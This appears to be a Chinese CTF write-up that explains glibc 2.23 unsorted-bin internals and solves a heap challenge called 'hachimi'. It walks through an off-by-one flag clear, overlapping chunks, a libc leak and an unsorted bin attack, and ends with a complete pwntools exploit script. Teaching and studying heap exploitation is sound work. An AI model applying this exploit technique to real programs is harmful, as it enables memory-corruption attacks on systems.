unsortedbinattack的前置知识

下面这里是遍历unsortedbin,分成有单独的unsortedbin和很多unsorted进行处理的

if (in_smallbin_range (nb) &&              // 如果请求大小在 small bin 范围内
    bck == unsorted_chunks (av) &&         // 且 unsorted bin 中只有一个 chunk
    victim == av->last_remainder &&        // 且当前 chunk 是 last remainder
    (unsigned long) (size) > (unsigned long) (nb + MINSIZE))  // 且大小足够分割
{
    /* split and reattach remainder */
    remainder_size = size - nb;            // 计算剩余部分大小
    remainder = chunk_at_offset (victim, nb); // 定位剩余块地址(victim + nb)
    unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; // 将剩余块设为 unsorted bin 唯一块
    av->last_remainder = remainder;        // 更新 last remainder 为剩余块
    remainder->bk = remainder->fd = unsorted_chunks (av); // 设置剩余块的 fd/bk 指向 bin
if (!in_smallbin_range (remainder_size)) // 如果剩余块是 large chunk
    {
        remainder->fd_nextsize = NULL;     // 清空 fd_nextsize
        remainder->bk_nextsize = NULL;     // 清空 bk_nextsize
    }

    set_head (victim, nb | PREV_INUSE |     // 设置分配块的头部:大小 + PREV_INUSE 标志
              (av != &main_arena ? NON_MAIN_ARENA : 0)); // 若非主分配区添加标记
    set_head (remainder, remainder_size | PREV_INUSE); // 设置剩余块头部
    set_foot (remainder, remainder_size);   // 设置剩余块的 footer(仅当 FOOTERS 启用)

    check_malloced_chunk (av, victim, nb);  // 调试检查(DEBUG 模式)
        void *p = chunk2mem (victim);           // 计算用户数据指针
        alloc_perturb (p, bytes);               // 初始化内存(安全特性)
        return p;                               // 返回分配的内存
    }

    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;          // bin 的 bk 指向 victim 的后一个块
    bck->fd = unsorted_chunks (av);          // 后一个块的 fd 指向 bin

          /* Take now instead of binning if exact fit */

if (size == nb)   // 如果当前 chunk 大小完全匹配请求
{
    set_inuse_bit_at_offset (victim, size); // 设置下一个块的 PREV_INUSE 标志
    if (av != &main_arena)                 // 若非主分配区
        set_non_main_arena (victim);       // 设置当前块的 NON_MAIN_ARENA 标志
#if USE_TCACHE
    /* Fill cache first, return to user only if cache fills */
    if (tcache_nb > 0 &&                   // 如果 tcache 可用
        tcache->counts[tc_idx] < mp_.tcache_count) // 且 tcache 未满
    {
        tcache_put (victim, tc_idx);       // 将 chunk 放入 tcache
        return_cached = 1;                 // 标记需要返回缓存
        continue;                          // 继续循环(不返回)
    }
    else                                   // tcache 不可用或已满
    {
#endif
        check_malloced_chunk (av, victim, nb); // 调试检查
        void *p = chunk2mem (victim);        // 计算用户指针
        alloc_perturb (p, bytes);           // 初始化内存
        return p;                           // 返回指针
#if USE_TCACHE
    }
#endif
}

假如说申请的没有合适的,将其放入smallbin和largebin

 /* Place chunk in bin.  Only malloc_consolidate() and splitting can put
             small chunks into the unsorted bin. */
          if (__glibc_unlikely (in_smallbin_range (size)))// small bin 处理
            {
            victim_index = smallbin_index (size);  // 计算 bin 索引
            bck = bin_at (av, victim_index);       // 获取 bin 头指针
            fwd = bck->fd;                         // 获取 bin 第一个 chunk
            }
          else// large bin 处理
            {
              victim_index = largebin_index (size);  // 计算 large bin 组索引
              bck = bin_at (av, victim_index);       // 获取 bin 头
              fwd = bck->fd;                         // 获取 bin 第一个 chunk

              /* maintain large bins in sorted order */
              if (fwd != bck)// 如果 bin 非空
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;// 设置 PREV_INUSE 位加速比较  后面有一个largebin的专属的遍历
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
              < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;// 移动到最小 chunk
                    // 设置 nextsize 指针
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))// 沿大小指针遍历
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))       // 大小相等
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;       // 插入到第二个位置
                      else         // 大小不等
                        {// 插入到 fwd 前
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      // 设置标准链表指针
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
              else// 如果 bin 为空
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

            mark_bin (av, victim_index);  // 标记 bin 非空

            victim->bk = bck;  // victim 后指针指向 bin 头
            victim->fd = fwd;  // victim 前指针指向 bin 第一个 chunk
            fwd->bk = victim;  // 原第一个 chunk 的后指针指向 victim
            bck->fd = victim;  // bin 头的前指针指向 victim

遍历完成unsortedbin之后,就会去找largebin,smallbin好像是在遍历unsortedbin之前先找的

      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx);

          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin
          && (unsigned long) chunksize_nomask (victim)
            >= (unsigned long) (nb))
            {
              victim = victim->bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb)))
                victim = victim->bk_nextsize;

              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin)
          && chunksize_nomask (victim)
            == chunksize_nomask (victim->fd))
                victim = victim->fd;

              remainder_size = size - nb;
              unlink_chunk (av, victim);

              /* Exhaust */
              if (remainder_size < MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
            set_non_main_arena (victim);
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
          if (__glibc_unlikely (fwd->bk != bck))
            malloc_printerr ("malloc(): corrupted unsorted chunks");
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

      /*
         Search for a chunk by scanning bins, starting with next largest
         bin. This search is strictly by best-fit; i.e., the smallest
         (with ties going to approximately the least recently used) chunk
         that fits is selected.

         The bitmap avoids needing to check that most blocks are nonempty.
         The particular case of skipping all bins during warm-up phases
         when no chunks have been returned yet is faster than it might look.
       */

      ++idx;
      bin = bin_at (av, idx);
      block = idx2block (idx);
      map = av->binmap[block];
      bit = idx2bit (idx);

unsortedbinattack是也就是一开始贴的那个图片

我们只要修改bk这个位置就能实现任意修改一个地址

victim

当前正在被 malloc 考虑使用的 chunk 指针(即从 unsorted bin 中取出的候选 chunk)

bck

victim->bk,即 victim 在 unsorted bin 链表中的 前驱节点(backward pointer)

bck->fd

前驱节点的 后继指针(forward pointer)

av

arena 指针,表示当前线程使用的内存分配区(main_arena 或 thread_arena)

unsorted_chunks(av)

宏,返回 unsorted bin 的头节点地址,实际上是 &av->bins[0](unsorted bin 是 bins[0] 和 bins[1] 组成的双向链表头)

画图的效果是这样的

  1. 用户请求的是一个小块(≤512B);
  2. unsorted bin 中只有这一个 chunk;
  3. 它足够大,切掉所需部分后还能剩下至少 MINSIZE;

这里的可以感受一下版本的更迭

  1. 这个 chunk 正好是当前的 last_remainder;

这个是高版本的检查,很大一堆

这里可以看到2.23的检查很少很少,甚至连双向链表的完整性的检查也没有,所以我们只要让bk指向一个合法的地址就能绕过检查(这里的改bk是通过其他的方式去改)

这就是smallbin的进阶,把伪造的bck进一步申请出来的原理。之所以不用伪造fd是因为fd指向了av

​

hachimi

这个题单纯的考虑一个unsortedattack

然后的话最重要的是从过这个题中的攻击原理看一下2.41的基础源码变动,反正最底层的基础主线是不变动的

审题篇

今天做一下这个题目,这个题的话创建结构体的意义不是很大,因为结构体里面的成员没有紧挨着

init函数

  for ( n9 = 0; n9 <= 9; ++n9 )
  {
    dword_202060[6 * n9 + 2] = 0;
    dword_202060[6 * n9 + 3] = 0;
  }
  mallopt(1, 0);
  return 0;
}

对应着清空标志位,以及禁用了fastbin

这个单纯去禁用fastbin的话,说明这个题目是2.23,快被时代淘汰的一个题

unsigned __int64 sub_CE3()
{
  int n9; // [rsp+Ch] [rbp-14h]
  size_t size; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( n9 = 0; ; ++n9 )
  {
    if ( n9 > 9 )
    {
      puts("No available space");
      return __readfsqword(0x28u) ^ v3;
    }
    if ( !dword_202060[6 * n9 + 2] )
      break;
  }
  puts("Please Input Size:");
  _isoc99_scanf("%d", &size);
  dword_202060[6 * n9 + 3] = size;
  *(_QWORD *)&dword_202060[6 * n9] = malloc(size);
  if ( !*(_QWORD *)&dword_202060[6 * n9] )
  {
    puts("Allocate Error\n");
    exit(2);
  }
  puts("Content of hachimi:");
  read(0, *(void **)&dword_202060[6 * n9], size);
  dword_202060[6 * n9 + 2] = 1;
  dword_202060[6 * n9 + 4] = n9;
  puts("SuccessFul");
  return __readfsqword(0x28u) ^ v3;
}

很常规的写入数据,没有漏洞

赋值标志位,循环遍历,最大索引到9,也就是一共有10个用户指针可控

unsigned __int64 sub_EB3()
{
  unsigned int n0xA; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please Input index:");
  _isoc99_scanf("%d", &n0xA);
  if ( n0xA < 0xA )
  {
    if ( dword_202060[6 * n0xA + 2] )
    {
      free(*(void **)&dword_202060[6 * n0xA]);
      *(_QWORD *)&dword_202060[6 * n0xA] = 0;
      dword_202060[6 * n0xA + 2] = 0;
      puts("SuccessFul");
    }
    else
    {
      printf("Error! No heap allocated at index %d\n", n0xA);
    }
  }
  else
  {
    puts("Error! Index out of bounds");
  }
  return __readfsqword(0x28u) ^ v2;
}

free也没有漏洞

清空标志位,清空对应的索引

unsigned __int64 sub_FE6()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please Input index:");
  _isoc99_scanf("%d", &v1);
  if ( *(_QWORD *)&dword_202060[6 * v1] )
  {
    puts("Change hachimi Content");
    read(0, *(void **)&dword_202060[6 * v1], (int)dword_202060[6 * v1 + 3]);
    *(_BYTE *)((int)dword_202060[6 * v1 + 3] + *(_QWORD *)&dword_202060[6 * v1]) = *(_BYTE *)(*(_QWORD *)&dword_202060[6 * v1]
                                                                                            + (int)dword_202060[6 * v1 + 3])
                                                                                 & 0xFE;
  }
  else
  {
    printf("Error! Index %d is not in use.\n", v1);
  }
  return __readfsqword(0x28u) ^ v2;
}

edit函数这个反编译的比较奇怪

可能有漏洞吧,还原一下结构体看一下,要不read看不了

unsigned __int64 sub_FE6()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please Input index:");
  _isoc99_scanf("%d", &v1);
  if ( *((_QWORD *)&heap.ptr + 3 * v1) )
  {
    puts("Change hachimi Content");
    read(0, *((void **)&heap.ptr + 3 * v1), *(&heap.size + 6 * v1));
    *(_BYTE *)(*(&heap.size + 6 * v1) + *((_QWORD *)&heap.ptr + 3 * v1)) = *(_BYTE *)(*((_QWORD *)&heap.ptr + 3 * v1)
                                                                                    + *(&heap.size + 6 * v1))
                                                                         & 0xFE;
  }
  else
  {
    printf("Error! Index %d is not in use.\n", v1);
  }
  return __readfsqword(0x28u) ^ v2;
}

还原结构体看的话如上,感觉比较怪,但是漏洞应该就在这里

简单说明一下,下面这个是访问的ptr的指向的首字节

这里的read修改不了,但是后面的那个&0xFE的可以去清空最后的比特,使其size的标志位清零

unsigned __int64 sub_1171()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please Input index:");
  _isoc99_scanf("%d", &v1);
  if ( *(_QWORD *)&dword_202060[6 * v1] )
  {
    puts("content:");
    puts(*(const char **)&dword_202060[6 * v1]);
  }
  else
  {
    printf("Error! Index %d is not in use.\n", v1);
  }
  return __readfsqword(0x28u) ^ v2;
}

这个是最后一个show函数

puts泄露,泄露的过程需要注意00截断的问题

还有最后一个需要看的地方

      case 5:
        printf("address:%p\n", &unk_202040);
        if ( n0x505 <= 0x505u )
          puts("What can I say, man?");
        else
          sub_CA9();
        break;

这个甚至担心你做不出来,直接给出了目标地址,以及后门函数

分析篇

这个题的话很清晰,size的话没有受到任何限制,目标的话也不是去获取shell,而是单纯的去修改一下地址

[*] '/home/ziran/Desktop/isc/hachimi'
 Arch:       amd64-64-little
 RELRO:      Full RELRO
 Stack:      Canary found
 NX:         NX enabled
 PIE:        PIE enabled

这里看一下保护

思路的话很简单的

有两种思路,一个是正常的去打IO,一个就是去拿程序给出的后门,我们走出题人的预期解

首先,泄露出来unk_202040这个地址,然后计算pie,进而确定n0x505这个地址

然后申请出来五个0x78的堆块,编号是【0】【1】【2】【3】【4】

注意这里是禁用了fastbin,所以说注意一下释放的时候避免和topchunk合并

这个题目的释放标志位局限于自己的当前的这个堆块,而不是下一个堆块,所以说glibc才是glibc

释放【0】,edit修改【1】覆写【2】的presize位标志位,这个时候同时会清空【2】的size标志位

之后的话释放【2】,这个时候会造成非预期的合并

2.23的glibc的源码设计的检查很宽松,一个双向链表的完整性,一个size位和presize位的堆块(向前合并和向后合并依据的标志位不怎么相同)

然后这个时候【1】就能有一个uaf的漏洞了,然后我们申请【0x78】切割这个堆块,使其fd和我们可控的指针重合

忘了切割的时候从高地址还是从低地址了,犯了一下源码,截取一下这个只有unsorted的时候触发的切割的流程

       if (in_smallbin_range (nb) &&
           bck == unsorted_chunks (av) &&
           victim == av->last_remainder &&
           (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
         {
           /* split and reattach remainder */
           remainder_size = size - nb;
           remainder = chunk_at_offset (victim, nb);
           unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
           av->last_remainder = remainder;
           remainder->bk = remainder->fd = unsorted_chunks (av);
           if (!in_smallbin_range (remainder_size))
             {
               remainder->fd_nextsize = NULL;
               remainder->bk_nextsize = NULL;
             }

           set_head (victim, nb | PREV_INUSE |
                     (av != &main_arena ? NON_MAIN_ARENA : 0));
           set_head (remainder, remainder_size | PREV_INUSE);
           set_foot (remainder, remainder_size);

           check_malloced_chunk (av, victim, nb);
           void *p = chunk2mem (victim);
           alloc_perturb (p, bytes);
           return p;
         }

实际上都是有fastbin先取出fastbin,有smallbin先取smallbin,之后这个unsorted切割的触发很少见,一般都是放入对应的bins之后,才会想起来去切割

当然,这些细节都被glibc封装起来了

然后的话我们就是去修改打unsortedattack,然后即可完成修改调用5之后就能获得shell

最后触发的时候申请需要是一样大小的,要不会报错malloc_assert

from pwn import *

context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']

io = process('./hachimi')

rt = lambda x: io.recvuntil(x)
sl = lambda x: io.sendline(x)
s  = lambda x: io.send(x)
def cmd(choice):
    rt("5.Mambo Out!")
    sl(str(choice))
def add(size,content=b'aaaa'):
    cmd(1)
    rt("Please Input Size:")
    sl(str(size))
    rt("Content of hachimi:")
    s(content)
def delete(index):
    cmd(2)
    rt("Please Input index:")
    sl(str(index))
def show(index):
    cmd(4)
    rt("Please Input index:")
    sl(str(index))
def edit(index,content):
    cmd(3)
    rt("Please Input index:")
    sl(str(index))
    rt("Change hachimi Content")
    s(content)
cmd(5)
rt("address:")
pie = int(io.recv(14),16) - 0x202040
print("pie = ",hex(pie))
add(0x78) #0
add(0x78) #1
add(0x78-0x20) #2
add(0x78) #3
add(0x78) #4
delete(0)
pd = b'a'*0x70
pd += p64(0x100) #pre_size
edit(1,pd)
delete(2)
add(0x78)#0
add(0x78)#2
delete(2)
show(1)
rt("content:\n")
lib = u64(io.recv(6).ljust(8,b'\x00'))
print("lib = ",hex(lib))
pd = p64(lib) + p64(pie+0x202048-0x10)
edit(1,pd)
add(0xe0-0x10)
#gdb.attach(io)
io.interactive()